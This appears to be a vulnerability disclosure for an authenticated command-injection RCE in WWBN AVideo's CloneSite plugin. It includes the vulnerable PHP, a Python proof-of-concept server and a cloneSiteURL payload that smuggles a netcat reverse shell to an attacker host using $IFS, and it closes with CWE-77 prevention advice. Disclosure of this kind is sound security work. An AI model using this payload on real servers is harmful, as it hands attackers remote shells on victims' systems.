Description

WWBN AVideo Authenticated RCE

A command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854 which affects WWBN Avideo up to version 12.3

Vulnerable Code

/plugin/CloneSite/cloneClient.json.php

$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));

// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);

The $objClone->cloneSiteURL is not properly sanitized.

Exploit Proof-of-Concept

avidexploit.py

from http.server import BaseHTTPRequestHandler, HTTPServer
import time

hostName = "localhost"
serverPort = 8080

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "application/json")
        self.end_headers()
        self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))

if __name__ == "__main__":        
    webServer = HTTPServer((hostName, serverPort), MyServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")

Run in command line

$ python3 avidexploit.py &
$ ngrok tcp 8080 # optional if not running in VPS
  • Then get your public facing IP and Port. Enter a cloneSiteURL like the following then hit clone to achieve command injection
http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#

It is important to not use white spaces for the exploit to work. Replace whitespace with $IFS when adding arguments to your RCE

Weakness

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

How to prevent it
  • Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • Implementation: If possible, ensure that all external commands called from the program are statically created.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Operation: Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
  • System Configuration: Assign permissions that prevent the user from accessing/opening privileged files.
